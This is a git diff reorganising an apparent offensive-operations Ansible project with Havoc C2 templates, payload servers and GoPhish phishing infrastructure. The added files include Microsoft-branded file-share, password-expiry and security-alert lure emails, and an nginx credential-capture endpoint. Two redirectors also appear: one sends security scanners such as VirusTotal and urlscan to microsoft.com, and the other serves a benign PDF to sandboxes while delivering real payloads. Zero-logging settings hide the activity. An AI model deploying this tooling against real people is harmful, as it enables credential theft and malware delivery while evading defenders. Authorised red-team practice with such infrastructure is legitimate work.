diff --git a/PROJECT-STATUS.md b/PROJECT-STATUS.md
index ad280f6..7665285 100644
--- a/PROJECT-STATUS.md
+++ b/PROJECT-STATUS.md
@@ -24,7 +24,7 @@
---
### 📍 Where I Left Off
-- Working on: Need to fix issue with AWS deployment security hardening playbook
+- Working on: Need to fix issue with AWS deployment security hardening playbook | Need to restructure I want each module in its own dir with its own tasks, templates, files and I want to move Provider playbooks into a Provider dir. I also want to break apart deploy.py and take each part for a module and make its own script that can be ran independently of the deploy script to just deploy the that module if need be
- Next Priority: Test core deployment
- Blockers: Sleep
diff --git a/templates/generate_evasive_beacons.sh.j2 b/c2/templates/generate_evasive_beacons.sh.j2
similarity index 100%
rename from templates/generate_evasive_beacons.sh.j2
rename to c2/templates/generate_evasive_beacons.sh.j2
diff --git a/templates/generate_havoc_payloads.sh.j2 b/c2/templates/generate_havoc_payloads.sh.j2
similarity index 100%
rename from templates/generate_havoc_payloads.sh.j2
rename to c2/templates/generate_havoc_payloads.sh.j2
diff --git a/templates/havoc-config.yaotl.j2 b/c2/templates/havoc-config.yaotl.j2
similarity index 100%
rename from templates/havoc-config.yaotl.j2
rename to c2/templates/havoc-config.yaotl.j2
diff --git a/templates/havoc-guide.j2 b/c2/templates/havoc-guide.j2
similarity index 100%
rename from templates/havoc-guide.j2
rename to c2/templates/havoc-guide.j2
diff --git a/payload-server/payload_redirector.yml b/payload-server/payload_redirector.yml
new file mode 100644
index 0000000..6f89af5
--- /dev/null
+++ b/payload-server/payload_redirector.yml
@@ -0,0 +1,24 @@
+---
+# Payload Redirector Deployment Playbook
+- name: Deploy payload redirector
+ hosts: localhost
+ gather_facts: false
+ connection: local
+ vars_files:
+ - vars.yaml
+ vars:
+ deployment_id: "{{ deployment_id | default('') }}"
+ payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}"
+ provider: "{{ provider | default('aws') }}"
+
+ tasks:
+ - name: Deploy payload redirector based on provider
+ include_tasks: "../{{ provider | upper }}/redirector.yml"
+ vars:
+ redirector_name: "{{ payload_redirector_name }}"
+ redirector_type: "payload"
+ redirector_subdomain: "{{ payload_subdomain | default('files') }}"
+
+ - name: Configure payload redirector
+ include_tasks: "../tasks/configure_payload_redirector.yml"
+ when: not skip_configuration | default(false)
\ No newline at end of file
diff --git a/payload-server/payload_server.yml b/payload-server/payload_server.yml
new file mode 100644
index 0000000..11646b2
--- /dev/null
+++ b/payload-server/payload_server.yml
@@ -0,0 +1,23 @@
+---
+# Payload Server Deployment Playbook
+- name: Deploy payload server
+ hosts: localhost
+ gather_facts: false
+ connection: local
+ vars_files:
+ - vars.yaml
+ vars:
+ deployment_id: "{{ deployment_id | default('') }}"
+ payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}"
+ provider: "{{ provider | default('aws') }}"
+
+ tasks:
+ - name: Deploy payload server based on provider
+ include_tasks: "../{{ provider | upper }}/c2.yml"
+ vars:
+ c2_name: "{{ payload_server_name }}"
+ server_type: "payload"
+
+ - name: Configure payload server
+ include_tasks: "../tasks/configure_payload_server.yml"
+ when: not skip_configuration | default(false)
\ No newline at end of file
diff --git a/phishing/cleanup_phishing.yml b/phishing/cleanup_phishing.yml
new file mode 100644
index 0000000..8092c27
--- /dev/null
+++ b/phishing/cleanup_phishing.yml
@@ -0,0 +1,59 @@
+---
+# Phishing Infrastructure Cleanup Playbook
+- name: Clean up phishing infrastructure
+ hosts: localhost
+ gather_facts: false
+ connection: local
+ vars_files:
+ - vars.yaml
+ vars:
+ deployment_id: "{{ deployment_id | default('') }}"
+ confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
+
+ tasks:
+ - name: Load deployment state
+ include_vars:
+ file: "phishing_deployment_state_{{ deployment_id }}.json"
+ register: deployment_state
+ ignore_errors: yes
+
+ - name: Show cleanup information
+ debug:
+ msg: |
+ ************************************************
+ * PHISHING CLEANUP OPERATION *
+ ************************************************
+ The following resources will be DELETED PERMANENTLY:
+ - MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
+ - GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
+ - Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
+ - Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
+ {% if cleanup_payload_infra | default(false) %}
+ - Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
+ - Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
+ {% endif %}
+ when: confirm_cleanup | bool
+
+ - name: Confirm cleanup operation
+ pause:
+ prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
+ register: confirmation
+ when: confirm_cleanup | bool
+
+ - name: Skip cleanup if not confirmed
+ meta: end_play
+ when: confirm_cleanup | bool and confirmation.user_input != 'yes'
+
+ - name: Run provider-specific cleanup
+ include_tasks: "../{{ provider | upper }}/cleanup.yml"
+ vars:
+ cleanup_redirector: true
+ cleanup_c2: true
+ cleanup_tracker: false
+ redirector_name: "{{ phishing_redirector_name }}"
+ c2_name: "{{ gophish_server_name }}"
+
+ - name: Remove deployment state file
+ file:
+ path: "phishing_deployment_state_{{ deployment_id }}.json"
+ state: absent
\ No newline at end of file
diff --git a/phishing/templates/email-templates/file_share.j2 b/phishing/templates/email-templates/file_share.j2
new file mode 100644
index 0000000..7d4551d
--- /dev/null
+++ b/phishing/templates/email-templates/file_share.j2
@@ -0,0 +1,118 @@
+
+
+
+
+
+ Document Shared
+
+
+
+
+
+
+
+
+
+
+
+
+
+ |
+
+ {{ share_date | default('{{.ShareDate}}') }}
+ |
+
+
+ |
+
+
+
+
+
+ {{ sender_name | default('{{.SenderName}}') }} shared a file with you
+
+
+ Hi {{ "{{.FirstName}}" }},
+
+
+
+ {{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
+
+
+
+
+
+
+
+
+
+
+ |
+
+ {{ document_name | default('{{.DocumentName}}') }}
+
+ {{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
+
+ |
+
+
+ |
+
+
+
+
+ {% if include_message | default(true) %}
+
+ Message from {{ sender_name | default('{{.SenderName}}') }}:
+
+ {{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
+
+
+ {% endif %}
+
+
+
+
+ This link will expire in {{ expiry_days | default('7') }} days.
+ Only people with the link can access this file.
+
+ |
+
+
+
+
+ |
+
+ Get the SharePoint mobile app
+
+
+
+
+
+ |
+
+
+ |
+
+
+
+ © {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.
+ Privacy Statement |
+ Terms of Use
+
+ |
+
+
+ |
+
+
+
+
\ No newline at end of file
diff --git a/templates/phishing/email-templates/office365_login.j2 b/phishing/templates/email-templates/office365_login.j2
similarity index 100%
rename from templates/phishing/email-templates/office365_login.j2
rename to phishing/templates/email-templates/office365_login.j2
diff --git a/phishing/templates/email-templates/password_expiry.j2 b/phishing/templates/email-templates/password_expiry.j2
new file mode 100644
index 0000000..675d11d
--- /dev/null
+++ b/phishing/templates/email-templates/password_expiry.j2
@@ -0,0 +1,95 @@
+
+
+
+
+
+ Password Expiration Notice
+
+
+
+
+
+
+
+
+
+
+ |
+
+
+
+
+
+
+
+
+
+ |
+
+ Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days
+ |
+
+
+ |
+
+
+
+
+
+ Your Password is About to Expire
+
+
+ Hello {{ "{{.FirstName}}" }},
+
+
+
+ Our records indicate that your {{ organization | default('organization') }} password will expire on {{ expiry_date | default('{{.ExpiryDate}}') }}.
+ To prevent any interruption to your access, please update your password before it expires.
+
+
+
+ Password requirements:
+
+
+
+ - Minimum 12 characters
+ - At least one uppercase letter
+ - At least one lowercase letter
+ - At least one number
+ - At least one special character
+ - Cannot be the same as your last 5 passwords
+
+
+
+
+
+ If you're unable to click the button above, copy and paste this link into your browser:
+ {{ "{{.URL}}" }}
+
+ |
+
+
+
+
+ |
+
+ This is an automated message from {{ organization | default('IT Department') }}.
+ Please do not reply to this email.
+ For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
+
+ |
+
+
+ |
+
+
+
+
\ No newline at end of file
diff --git a/phishing/templates/email-templates/security_alert.j2 b/phishing/templates/email-templates/security_alert.j2
new file mode 100644
index 0000000..87b475d
--- /dev/null
+++ b/phishing/templates/email-templates/security_alert.j2
@@ -0,0 +1,103 @@
+
+
+
+
+
+ Security Alert
+
+
+
+
+
+
+
+
+
+ ⚠️ Security Alert
+ |
+
+
+
+
+
+ Suspicious Activity Detected
+
+
+ Dear {{ "{{.FirstName}}" }},
+
+
+
+ We detected unusual sign-in activity on your account:
+
+
+
+
+
+
+
+ | Date & Time: |
+ {{ detection_time | default('{{.DetectionTime}}') }} |
+
+
+ | Location: |
+ {{ location | default('{{.Location}}') }} |
+
+
+ | IP Address: |
+ {{ ip_address | default('{{.IPAddress}}') }} |
+
+
+ | Device: |
+ {{ device | default('{{.Device}}') }} |
+
+
+ |
+
+
+
+
+ If this was you: You can safely ignore this email.
+ If this wasn't you: Your account may be compromised. Secure it immediately.
+
+
+
+
+
+ What happens next?
+ We'll guide you through securing your account, including:
+
+
+
+ - Verifying your identity
+ - Reviewing recent account activity
+ - Updating your password
+ - Enabling additional security measures
+
+ |
+
+
+
+
+ |
+
+ This security alert was sent to {{ "{{.Email}}" }}
+ © {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.
+ Privacy Policy |
+ Contact Support
+
+ |
+
+
+ |
+
+
+
+
\ No newline at end of file
diff --git a/templates/fake-login.html.j2 b/phishing/templates/fake-login.html.j2
similarity index 100%
rename from templates/fake-login.html.j2
rename to phishing/templates/fake-login.html.j2
diff --git a/phishing/templates/fedramp-compliance.j2 b/phishing/templates/fedramp-compliance.j2
new file mode 100644
index 0000000..4f873ce
--- /dev/null
+++ b/phishing/templates/fedramp-compliance.j2
@@ -0,0 +1,87 @@
+# FedRAMP Phishing Test Compliance Configuration
+# This configuration ensures compliance with FedRAMP requirements
+
+compliance_mode: fedramp
+test_type: user_awareness_only
+
+# Email Configuration
+email_settings:
+ # Emails must be whitelisted on all security systems
+ require_whitelist: true
+ bypass_security_controls: true
+
+ # No modification of emails allowed
+ allow_header_modification: false
+ allow_content_filtering: false
+
+ # Tracking requirements
+ tracking:
+ - email_opened (via pixel)
+ - link_clicked
+ - credentials_submitted
+ - user_identity (tied to actions)
+
+# Landing Page Requirements
+landing_page:
+ # Must immediately identify as phishing test
+ show_phishing_notice: true
+ phishing_notice_text: |
+ This was a phishing simulation!
+ You should never enter your credentials on suspicious websites.
+
+ # Educational content required
+ include_education: true
+ education_content:
+ - How to identify phishing emails
+ - Red flags to watch for
+ - Reporting procedures
+ - Best practices for email security
+
+# Reporting Requirements
+reporting:
+ # No PII in reports
+ anonymize_data: true
+ report_format: aggregate_only
+
+ # Required metrics
+ metrics:
+ - total_emails_sent
+ - emails_opened_percentage
+ - links_clicked_percentage
+ - credentials_submitted_percentage
+ - department_breakdown
+ - role_based_statistics
+
+ # Prohibited data
+ exclude:
+ - individual_names
+ - specific_email_addresses
+ - personal_identifiers
+
+# Technical Configuration
+technical:
+ # Simple campaign only
+ campaign_type: basic_phishing_test
+
+ # No exploitation
+ allow_malware: false
+ allow_exploitation: false
+ allow_persistence: false
+
+ # Clean tracking only
+ tracking_methods:
+ - pixel_tracking
+ - unique_urls
+ - form_submission
+
+# Approval Process
+approval:
+ requires_3pao_approval: true
+ requires_template_review: true
+ approval_documentation: required
+
+# Post-Test Requirements
+post_test:
+ notify_failures: true
+ provide_training: true
+ remediation_timeline: 30_days
\ No newline at end of file
diff --git a/phishing/templates/gophish-advanced-config.j2 b/phishing/templates/gophish-advanced-config.j2
new file mode 100644
index 0000000..89178c8
--- /dev/null
+++ b/phishing/templates/gophish-advanced-config.j2
@@ -0,0 +1,42 @@
+{
+ "admin_server": {
+ "listen_url": "127.0.0.1:{{ gophish_admin_port }}",
+ "use_tls": true,
+ "cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
+ "key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
+ "trusted_origins": []
+ },
+ "phish_server": {
+ "listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
+ "use_tls": false,
+ "cert_path": "",
+ "key_path": ""
+ },
+ "db_name": "sqlite3",
+ "db_path": "gophish.db",
+ "migrations_prefix": "db/db_",
+ "contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
+ "logging": {
+ "filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
+ "level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
+ },
+ "webhook": {
+ "enabled": {{ enable_webhooks | default(false) | lower }},
+ "url": "{{ webhook_url | default('') }}",
+ "secret": "{{ webhook_secret | default('') }}"
+ },
+ "email": {
+ "smtp": {
+ "host": "{{ mta_front_ip | default('127.0.0.1') }}",
+ "port": 25,
+ "use_auth": true,
+ "username": "{{ smtp_auth_user }}",
+ "password": "{{ smtp_auth_pass }}",
+ "from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
+ "ignore_cert_errors": true
+ },
+ "imap": {
+ "enabled": false
+ }
+ }
+}
\ No newline at end of file
diff --git a/templates/gophish-config.j2 b/phishing/templates/gophish-config.j2
similarity index 100%
rename from templates/gophish-config.j2
rename to phishing/templates/gophish-config.j2
diff --git a/phishing/templates/nginx-phishing-webserver.j2 b/phishing/templates/nginx-phishing-webserver.j2
new file mode 100644
index 0000000..c319529
--- /dev/null
+++ b/phishing/templates/nginx-phishing-webserver.j2
@@ -0,0 +1,40 @@
+server {
+ listen 80;
+ server_name _;
+
+ root /var/www/phishing;
+ index index.html index.php;
+
+ # Disable all logging
+ access_log off;
+ error_log /dev/null crit;
+
+ # PHP processing
+ location ~ \.php$ {
+ include snippets/fastcgi-php.conf;
+ fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+ fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+ }
+
+ # Credential capture endpoint
+ location = /capture.php {
+ limit_except POST { deny all; }
+ include snippets/fastcgi-php.conf;
+ fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+ }
+
+ # Template routing
+ location /templates/ {
+ try_files $uri $uri/ =404;
+ }
+
+ # Static resources
+ location /static/ {
+ try_files $uri $uri/ =404;
+ }
+
+ # Default
+ location / {
+ try_files $uri $uri/ /index.html;
+ }
+}
\ No newline at end of file
diff --git a/phishing/templates/phishing-landing-page.j2 b/phishing/templates/phishing-landing-page.j2
new file mode 100644
index 0000000..2cd06ff
--- /dev/null
+++ b/phishing/templates/phishing-landing-page.j2
@@ -0,0 +1,220 @@
+
+
+
+
+
+ {{ page_title | default('Sign in to your account') }}
+
+
+
+
+
+
 }})
+
+
+
{{ heading | default('Sign in') }}
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/phishing/templates/phishing_deployment_state.j2 b/phishing/templates/phishing_deployment_state.j2
new file mode 100644
index 0000000..10767cc
--- /dev/null
+++ b/phishing/templates/phishing_deployment_state.j2
@@ -0,0 +1,69 @@
+{
+ "deployment_id": "{{ deployment_id }}",
+ "deployment_time": "{{ ansible_date_time.iso8601 }}",
+ "provider": "{{ provider }}",
+ "region": "{{ aws_region | default(linode_region) | default('') }}",
+
+ "infrastructure": {
+ "mta_front": {
+ "name": "{{ mta_front_name }}",
+ "ip": "{{ mta_front_ip | default('') }}",
+ "instance_id": "{{ mta_instance_id | default('') }}"
+ },
+ "gophish_server": {
+ "name": "{{ gophish_server_name }}",
+ "ip": "{{ gophish_server_ip | default('') }}",
+ "instance_id": "{{ gophish_instance_id | default('') }}",
+ "admin_port": "{{ gophish_admin_port }}"
+ },
+ "phishing_webserver": {
+ "name": "{{ phishing_web_name }}",
+ "ip": "{{ phishing_web_ip | default('') }}",
+ "instance_id": "{{ phishing_web_instance_id | default('') }}"
+ },
+ "phishing_redirector": {
+ "name": "{{ phishing_redirector_name }}",
+ "ip": "{{ phishing_redirector_ip | default('') }}",
+ "instance_id": "{{ phishing_redirector_instance_id | default('') }}"
+ },
+ {% if deploy_payload_infra | default(false) %}
+ "payload_server": {
+ "name": "{{ payload_server_name }}",
+ "ip": "{{ payload_server_ip | default('') }}",
+ "instance_id": "{{ payload_server_instance_id | default('') }}"
+ },
+ "payload_redirector": {
+ "name": "{{ payload_redirector_name }}",
+ "ip": "{{ payload_redirector_ip | default('') }}",
+ "instance_id": "{{ payload_redirector_instance_id | default('') }}"
+ },
+ {% endif %}
+ },
+
+ "domains": {
+ "phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
+ "mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
+ {% if deploy_payload_infra | default(false) %}
+ "payload_domain": "{{ payload_subdomain }}.{{ domain }}",
+ {% endif %}
+ },
+
+ "credentials": {
+ "gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
+ "smtp_auth_user": "{{ smtp_auth_user }}",
+ "smtp_settings": {
+ "host": "{{ mta_front_ip }}",
+ "port": 25,
+ "from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
+ }
+ },
+
+ "security_groups": {
+ {% if provider == 'aws' %}
+ "mta_sg": "{{ mta_security_group_id | default('') }}",
+ "gophish_sg": "{{ gophish_security_group_id | default('') }}",
+ "web_sg": "{{ web_security_group_id | default('') }}",
+ "redirector_sg": "{{ redirector_security_group_id | default('') }}"
+ {% endif %}
+ }
+}
\ No newline at end of file
diff --git a/phishing/templates/postfix-mta-front.j2 b/phishing/templates/postfix-mta-front.j2
new file mode 100644
index 0000000..ebb5f7d
--- /dev/null
+++ b/phishing/templates/postfix-mta-front.j2
@@ -0,0 +1,71 @@
+# Postfix MTA Front Configuration for Phishing Infrastructure
+# This server acts as the front-end mail relay
+
+# Basic settings
+myhostname = {{ mta_hostname | default('mail.' + domain) }}
+mydomain = {{ domain }}
+myorigin = $mydomain
+mydestination = $myhostname, localhost
+inet_interfaces = all
+inet_protocols = ipv4
+
+# Network settings
+mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
+relay_domains = $mydestination
+
+# SMTP smuggling mitigation
+smtpd_forbid_bare_newline = yes
+smtpd_forbid_bare_newline_reject_code = 550
+
+# TLS Configuration
+smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
+smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
+smtpd_use_tls = yes
+smtpd_tls_security_level = may
+smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
+smtp_tls_security_level = may
+
+# SASL Authentication
+smtpd_sasl_auth_enable = yes
+smtpd_sasl_type = dovecot
+smtpd_sasl_path = private/auth
+smtpd_sasl_security_options = noanonymous
+smtpd_sasl_authenticated_header = yes
+
+# Restrictions
+smtpd_helo_required = yes
+smtpd_recipient_restrictions =
+ permit_mynetworks,
+ permit_sasl_authenticated,
+ reject_unauth_destination,
+ reject_unauth_pipelining,
+ reject_invalid_helo_hostname,
+ reject_non_fqdn_helo_hostname
+
+# Rate limiting
+smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
+smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
+
+# Message size and queue settings
+message_size_limit = {{ max_message_size | default(10240000) }}
+mailbox_size_limit = 0
+queue_lifetime = 1h
+maximal_queue_lifetime = 1h
+bounce_queue_lifetime = 0
+
+# Header modifications
+header_checks = regexp:/etc/postfix/header_checks
+
+# DKIM signing
+milter_default_action = accept
+milter_protocol = 6
+smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
+non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
+
+# Logging
+{% if zero_logs | default(true) %}
+# Zero-logs configuration
+syslog_facility = local0
+syslog_name =
+maillog_file = /dev/null
+{% endif %}
\ No newline at end of file
diff --git a/AWS/AMI-ID-Grabber.sh b/providers/AWS/AMI-ID-Grabber.sh
similarity index 100%
rename from AWS/AMI-ID-Grabber.sh
rename to providers/AWS/AMI-ID-Grabber.sh
diff --git a/AWS/c2-vars-template.yaml b/providers/AWS/c2-vars-template.yaml
similarity index 100%
rename from AWS/c2-vars-template.yaml
rename to providers/AWS/c2-vars-template.yaml
diff --git a/AWS/c2.yml b/providers/AWS/c2.yml
similarity index 100%
rename from AWS/c2.yml
rename to providers/AWS/c2.yml
diff --git a/AWS/cleanup.yml b/providers/AWS/cleanup.yml
similarity index 100%
rename from AWS/cleanup.yml
rename to providers/AWS/cleanup.yml
diff --git a/AWS/infrastructure.yml b/providers/AWS/infrastructure.yml
similarity index 100%
rename from AWS/infrastructure.yml
rename to providers/AWS/infrastructure.yml
diff --git a/AWS/process_vpc.yml b/providers/AWS/process_vpc.yml
similarity index 100%
rename from AWS/process_vpc.yml
rename to providers/AWS/process_vpc.yml
diff --git a/AWS/redirector.yml b/providers/AWS/redirector.yml
similarity index 100%
rename from AWS/redirector.yml
rename to providers/AWS/redirector.yml
diff --git a/FlokiNET/c2-deploy.yaml b/providers/FlokiNET/c2-deploy.yaml
similarity index 100%
rename from FlokiNET/c2-deploy.yaml
rename to providers/FlokiNET/c2-deploy.yaml
diff --git a/FlokiNET/c2.yml b/providers/FlokiNET/c2.yml
similarity index 100%
rename from FlokiNET/c2.yml
rename to providers/FlokiNET/c2.yml
diff --git a/FlokiNET/cleanup.yml b/providers/FlokiNET/cleanup.yml
similarity index 100%
rename from FlokiNET/cleanup.yml
rename to providers/FlokiNET/cleanup.yml
diff --git a/FlokiNET/flokinet-security.yml b/providers/FlokiNET/flokinet-security.yml
similarity index 100%
rename from FlokiNET/flokinet-security.yml
rename to providers/FlokiNET/flokinet-security.yml
diff --git a/FlokiNET/provision.yml b/providers/FlokiNET/provision.yml
similarity index 100%
rename from FlokiNET/provision.yml
rename to providers/FlokiNET/provision.yml
diff --git a/FlokiNET/redirector.yml b/providers/FlokiNET/redirector.yml
similarity index 100%
rename from FlokiNET/redirector.yml
rename to providers/FlokiNET/redirector.yml
diff --git a/Linode/c2.yml b/providers/Linode/c2.yml
similarity index 100%
rename from Linode/c2.yml
rename to providers/Linode/c2.yml
diff --git a/Linode/cleanup.yml b/providers/Linode/cleanup.yml
similarity index 100%
rename from Linode/cleanup.yml
rename to providers/Linode/cleanup.yml
diff --git a/Linode/redirector.yml b/providers/Linode/redirector.yml
similarity index 100%
rename from Linode/redirector.yml
rename to providers/Linode/redirector.yml
diff --git a/Linode/tracker.yml b/providers/Linode/tracker.yml
similarity index 100%
rename from Linode/tracker.yml
rename to providers/Linode/tracker.yml
diff --git a/redirectors/templates/nginx-payload-redirector.j2 b/redirectors/templates/nginx-payload-redirector.j2
new file mode 100644
index 0000000..6b9e7b3
--- /dev/null
+++ b/redirectors/templates/nginx-payload-redirector.j2
@@ -0,0 +1,82 @@
+# Payload Redirector Configuration
+# Serves payloads with anti-analysis features
+
+server {
+ listen 80;
+ listen [::]:80;
+ server_name {{ payload_subdomain }}.{{ domain }};
+
+ return 301 https://$host$request_uri;
+}
+
+server {
+ listen 443 ssl http2;
+ listen [::]:443 ssl http2;
+ server_name {{ payload_subdomain }}.{{ domain }};
+
+ # SSL Configuration
+ ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
+ ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
+ ssl_protocols TLSv1.2 TLSv1.3;
+
+ root /var/www/payloads;
+
+ # Anti-analysis headers
+ add_header X-Content-Type-Options "nosniff" always;
+ add_header X-Download-Options "noopen" always;
+ add_header X-Robots-Tag "noindex, nofollow" always;
+
+ # Serve different content based on user agent
+ location ~ ^/download/(.+)$ {
+ # Check if request is from analysis environment
+ if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
+ # Serve benign file
+ rewrite ^/download/(.+)$ /benign/document.pdf last;
+ }
+
+ # Check for valid download token
+ secure_link $arg_token,$arg_expires;
+ secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
+
+ if ($secure_link = "") {
+ return 403;
+ }
+
+ if ($secure_link = "0") {
+ return 410;
+ }
+
+ # Serve actual payload
+ try_files /payloads/$1 =404;
+ }
+
+ # Direct file access with referrer check
+ location /files/ {
+ valid_referers none blocked server_names
+ *.{{ domain }}
+ {{ allowed_referrers | default([]) | join(' ') }};
+
+ if ($invalid_referer) {
+ return 403;
+ }
+
+ alias /var/www/payloads/;
+ autoindex off;
+ }
+
+ # Benign files for analysis environments
+ location /benign/ {
+ alias /var/www/payloads/benign/;
+ autoindex off;
+ }
+
+ # Block all other access
+ location / {
+ return 404;
+ }
+
+ {% if zero_logs | default(true) %}
+ access_log off;
+ error_log /dev/null crit;
+ {% endif %}
+}
\ No newline at end of file
diff --git a/redirectors/templates/nginx-phishing-redirector.j2 b/redirectors/templates/nginx-phishing-redirector.j2
new file mode 100644
index 0000000..a593cbe
--- /dev/null
+++ b/redirectors/templates/nginx-phishing-redirector.j2
@@ -0,0 +1,104 @@
+# Phishing Redirector Configuration
+# Advanced evasion and filtering
+
+# Security tool detection
+map $http_user_agent $is_security_scanner {
+ default 0;
+ ~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
+}
+
+# Geo-filtering map
+map $geoip_country_code $allowed_country {
+ default 1;
+ {% for country in blocked_countries | default([]) %}
+ {{ country }} 0;
+ {% endfor %}
+}
+
+server {
+ listen 80;
+ listen [::]:80;
+ server_name {{ phishing_subdomain }}.{{ domain }};
+
+ return 301 https://$host$request_uri;
+}
+
+server {
+ listen 443 ssl http2;
+ listen [::]:443 ssl http2;
+ server_name {{ phishing_subdomain }}.{{ domain }};
+
+ # SSL Configuration
+ ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
+ ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
+ ssl_protocols TLSv1.2 TLSv1.3;
+ ssl_ciphers HIGH:!aNULL:!MD5;
+ ssl_prefer_server_ciphers on;
+
+ # Security headers to appear legitimate
+ add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
+ add_header X-Content-Type-Options "nosniff" always;
+ add_header X-Frame-Options "SAMEORIGIN" always;
+ add_header X-XSS-Protection "1; mode=block" always;
+ add_header Referrer-Policy "no-referrer-when-downgrade" always;
+
+ # Block security scanners
+ if ($is_security_scanner) {
+ return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
+ }
+
+ # Geo-blocking
+ if ($allowed_country = 0) {
+ return 403;
+ }
+
+ # Rate limiting
+ limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
+ limit_req zone=phishing burst=20 nodelay;
+
+ # GoPhish tracking and landing pages
+ location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
+ proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Forwarded-Proto $scheme;
+ }
+
+ # Phishing landing pages
+ location / {
+ proxy_pass http://{{ phishing_web_ip }}:80;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Forwarded-Proto $scheme;
+ }
+
+ # Block direct access to sensitive paths
+ location ~ /\.(git|env|htaccess|htpasswd) {
+ deny all;
+ return 404;
+ }
+
+ {% if zero_logs | default(true) %}
+ # Zero-logs configuration
+ access_log off;
+ error_log /dev/null crit;
+ {% endif %}
+}
+
+# Catch-all server block
+server {
+ listen 80 default_server;
+ listen [::]:80 default_server;
+ listen 443 ssl default_server;
+ listen [::]:443 ssl default_server;
+
+ ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
+ ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
+
+ return 302 https://www.{{ legitimate_redirect | default('google.com') }};
+
+ access_log off;
+ error_log /dev/null crit;
+}
\ No newline at end of file
diff --git a/templates/redirector-havoc-fragment.j2 b/redirectors/templates/redirector-havoc-fragment.j2
similarity index 100%
rename from templates/redirector-havoc-fragment.j2
rename to redirectors/templates/redirector-havoc-fragment.j2
diff --git a/templates/redirector-index.html.j2 b/redirectors/templates/redirector-index.html.j2
similarity index 100%
rename from templates/redirector-index.html.j2
rename to redirectors/templates/redirector-index.html.j2
diff --git a/templates/redirector-site-with-tracker.conf.j2 b/redirectors/templates/redirector-site-with-tracker.conf.j2
similarity index 100%
rename from templates/redirector-site-with-tracker.conf.j2
rename to redirectors/templates/redirector-site-with-tracker.conf.j2
diff --git a/templates/redirector-site.conf.j2 b/redirectors/templates/redirector-site.conf.j2
similarity index 100%
rename from templates/redirector-site.conf.j2
rename to redirectors/templates/redirector-site.conf.j2
diff --git a/structure.txt b/structure.txt
new file mode 100644
index 0000000..c6f2c1c
--- /dev/null
+++ b/structure.txt
@@ -0,0 +1,177 @@
+.
+├── ansible.cfg
+├── c2
+│ ├── files
+│ ├── tasks
+│ └── templates
+│ ├── generate_evasive_beacons.sh.j2
+│ ├── generate_havoc_payloads.sh.j2
+│ ├── havoc-config.yaotl.j2
+│ └── havoc-guide.j2
+├── chat-server
+│ ├── files
+│ ├── tasks
+│ └── templates
+├── deploy.py
+├── hashtopolish-server
+│ ├── files
+│ ├── tasks
+│ └── templates
+├── logging-server
+│ ├── files
+│ ├── tasks
+│ └── templates
